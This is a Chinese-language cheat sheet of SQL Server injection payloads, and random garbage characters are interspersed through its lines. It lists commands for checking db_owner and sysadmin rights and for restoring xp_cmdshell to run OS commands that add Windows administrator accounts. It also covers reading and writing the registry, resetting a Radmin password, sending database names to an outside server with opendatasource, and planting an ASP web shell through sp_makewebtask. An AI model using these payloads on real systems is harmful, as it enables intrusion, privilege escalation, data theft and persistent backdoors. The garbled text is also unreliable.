//看看是什么权限的; G9 h3 N! Q' }1 y, T$ V2 ~- I
and 1=(Select IS_MEMBER('db_owner'))1 f1 c" P% Q. D7 q, J
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
; _0 y( a$ C" H% I# [
! v& K8 [3 o/ W) j//检测是否有读取某数据库的权限
0 B' Q) \5 G, t2 B1 M, rand 1= (Select HAS_DBACCESS('master'))
l) Z3 m4 Y) iAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
5 a" C/ i9 V5 u" Z" o
5 n1 y. j( K- G7 S
6 x* g% l& \0 g数字类型# ], d& b& g8 Q6 I
and char(124)%2Buser%2Bchar(124)=05 n8 j6 x( p5 B
/ B; M, }$ Q7 G字符类型
+ c1 D* b+ P4 e( f9 H$ c9 ^' and char(124)%2Buser%2Bchar(124)=0 and ''='
8 j2 s$ |/ v6 T# M9 d: S! `; t$ p% h4 I+ J) S( m
搜索类型
& x" \ Y# k4 j& t& s- }) k% k- i' and char(124)%2Buser%2Bchar(124)=0 and '%'=' N* s+ d% E& U- b* t6 r
" s2 O8 w+ r3 ~' ` C D9 s7 \爆用户名# x0 j) Q% w7 c* h K; g
and user>0
" u7 K9 U3 U& v, L4 b, I5 ]' and user>0 and ''='$ z* t0 H; ^! X/ t
" {3 \( d8 l+ r7 k! Q; z h+ b* t
检测是否为SA权限
! R3 g9 O+ U1 Aand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
1 ^* g2 v- W% |. p/ y' dAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
) [( R0 w$ k2 ~* Q9 y3 A0 y+ T
& K9 |. [' u3 B2 B* i- t, T0 D检测是不是MSSQL数据库' _/ Y' ]# w+ n- [! A2 Z* l4 k
and exists (select * from sysobjects);--6 M+ _2 B7 z5 h, d0 v! L/ l
* y f) z& X, B- k1 o1 s! P
检测是否支持多行7 k, S+ L5 Y3 z% T8 w( i# m
;declare @d int;--' I" \1 u6 E! w% r+ o
d( i8 o/ Z2 D9 x7 p: p8 P8 e恢复 xp_cmdshell
9 ?" Y/ v6 C% h- [/ s;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
$ B/ S- X+ D; x+ J- x0 S8 S- c* b3 u
: C+ X$ d g L1 n [& ^$ ^
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')! H* ~" I7 A$ n2 h
% p! i- X7 P( N" H1 S) P//-----------------------* y& K; [2 V2 e
// 执行命令
5 j \: K9 b+ d" s# y3 q//-----------------------1 m5 A9 w3 ]7 \1 Y
首先开启沙盘模式:6 F- p h- ^& r6 W: j% p/ j
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) Q0 V+ |/ b* ~( x4 m# u; j
P' r) W& t" j0 D" G% n/ t7 O然后利用jet.oledb执行系统命令
# _' w1 N; W* J% h5 C8 @select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 j/ H6 n9 p; R$ z& C( F
4 _ }+ o4 _$ X& `' \执行命令1 ^- |$ i& ?3 Q! B! U# ? o
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
3 g1 Z8 o/ |! O/ H; H* W# d1 y# Y N- J, g( e) c& x* a
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
* ]* W! x$ F4 ?( X5 j6 D8 _3 H& K1 P1 b! |" g
判断xp_cmdshell扩展存储过程是否存在:. @ {, w: |; P" m# j! z
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'); J6 t1 |0 r$ q4 ]( w
( y% G+ E( \6 q' e/ C写注册表
: t2 \4 F0 k" S) ~2 I( eexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
4 Q! P- G5 R+ C9 _$ t: y( }
$ F( q$ ~1 e+ A. J8 b% k! ?REG_SZ
' w8 [ r ?9 f, ?: S' P- v8 s) A$ g) U, _, F0 V& C" t
读注册表$ B! {. @$ {, E1 E% a/ o
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'4 B4 g) E, K; L: n
% x& {5 r7 r: o. y
读取目录内容
( L. P$ E* W( ~' x) }+ ^% Nexec master..xp_dirtree 'c:\winnt\system32\',1,1
6 ?3 F3 F7 R! |7 `8 X1 \! B4 {
) y% Z* e2 Z+ k$ B; a, J5 G% U* I; z& K7 j Y- ~
数据库备份
2 l: Z' r, m/ f% f& sbackup database pubs to disk = 'c:\123.bak'% V! j* ~ E$ p t
! @- N8 b8 Q6 m$ E' k
//爆出长度
& L1 C ~' ]$ ~; V9 |( Y3 UAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--5 ^4 X; g" e5 `; t' V# s/ q
# N$ K% j7 `; C' \
% {1 G# d, h3 r; F
: Z3 ]5 _0 o; i% T5 c
更改sa口令方法:用sql综合利用工具连接后,执行命令:! w' ~3 e* j+ f& ?
exec sp_password NULL,'新密码','sa'8 Y# g3 M% q# c& O7 [
# {* _ W. O8 J3 q* W& U
添加和删除一个SA权限的用户test:: q f0 F3 \5 W* G
exec master.dbo.sp_addlogin test,95307725 ?$ e. G# U4 a4 B3 e+ j
exec master.dbo.sp_addsrvrolemember test,sysadmin) T+ O7 ~4 L' ~0 o! ? o
0 A# Q$ A4 M! ]删除扩展存储过过程xp_cmdshell的语句:2 _: {$ M/ j5 ?/ L/ Q
exec sp_dropextendedproc 'xp_cmdshell', M' a" V S' Q: h
/ V5 } M6 n8 F" l9 w K添加扩展存储过过程8 Z0 N6 B" n$ h( m# q% ~
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
* b# [* ], F) i' LGRANT exec On xp_proxiedadata TO public
. s2 v/ T1 R, x! Q" w& e& X( J. ^& T6 X* s
1 \. i1 r5 u f) A8 U" k7 o
停掉或激活某个服务。4 n5 h/ M2 f- s1 ^2 V
1 e3 ]4 V' ^+ i# oexec master..xp_servicecontrol 'stop','schedule'. G% t! X0 L9 J1 V, x
exec master..xp_servicecontrol 'start','schedule'9 m& K5 l' f B7 R5 |
6 x t! P1 g& t( f4 b, O
dbo.xp_subdirs
( y' T' ?4 u# r8 O9 N X" X, d1 |' M; _3 y4 I, U/ ?2 v' }
只列某个目录下的子目录。6 R' V' V, e: D1 r, O
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
. L- z2 j! E9 ]. |' o" X' {& E F$ u8 P; x) H
dbo.xp_makecab7 {, M% z$ F9 \* {# g9 W; H0 S
) T3 }# x3 }$ e! U将目标多个档案压缩到某个目标档案之内。7 A: Y/ F6 W; j6 g1 Z
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。& m6 g5 i. A: e# Z
7 ?, l) P0 }- v! q# ~- l. D
dbo.xp_makecab1 D7 d; S' q m, w7 t
'c:\test.cab','mszip',1,/ G. \6 m. d) L- T
'C:\Inetpub\wwwroot\SQLInject\login.asp',6 [0 ]" f7 N" r( C
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'7 p6 a: Y( s3 t
- n" Q Z' ?+ y2 f0 ?
xp_terminate_process! Z; _6 ~; ^% s
0 I( m: y3 F J停掉某个执行中的程序,但赋予的参数是 Process ID。+ ~ I0 u, g( O- F5 M
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID- ]! z, o) l0 \
" ]9 C! j) I8 m. W' }4 ^% }% z0 ^xp_terminate_process 2484
5 n% N) @. w6 q! o# R: s. K" n: V& d9 O7 i% I
xp_unpackcab
# S+ e& ]! R; x! h- S) ]( Z7 j+ O! |5 Q
解开压缩档。
" U# C2 m- M! P g( B7 o9 j3 s. ]( X
- ~' w# {- g+ | M1 sxp_unpackcab 'c:\test.cab','c:\temp',1
( ^* W% k* W( b- r7 U: \% L9 f$ }1 K
; ?3 ~; U" N! }6 d; j某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
) u6 T, |, L) f1 k1 ]5 |% {' ]; x- j+ w9 p. x
create database lcx;
) f7 k1 J# T8 W6 @9 t( C7 {Create TABLE ku(name nvarchar(256) null);
5 Y7 G% A, G. J/ R' jCreate TABLE biao(id int NULL,name nvarchar(256) null);
1 N2 Q1 \! q3 L6 _
4 l* V0 M# ]& ^+ }) k//得到数据库名2 ] v7 ~- h) K1 }/ }' S0 ?
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases2 j! |% n" W9 w; S3 I$ U
, e. L) c. N' _6 ^6 q
3 S! X& l; A7 d# p( }5 T
//在Master中创建表,看看权限怎样, i8 b1 s& C, q7 Q* z4 m
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
( z; S$ ~& i, |
4 a8 l% `# l% j9 g( O* G0 D用 sp_makewebtask直接在web目录里写入一句话马:# p0 ^$ X! ]7 I: ^8 _ r
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--( e2 q- ~6 m# r% H, h
! A" v$ ]. S% \: Y
//更新表内容) {# |6 g- f: }/ E" v7 p
Update films SET kind = 'Dramatic' Where id = 123
, ]% ]0 z+ P9 n% x X! a {$ v. V! x4 b) y
//删除内容
" Q1 r6 s3 Z B7 Pdelete from table_name where Stockid = 3 |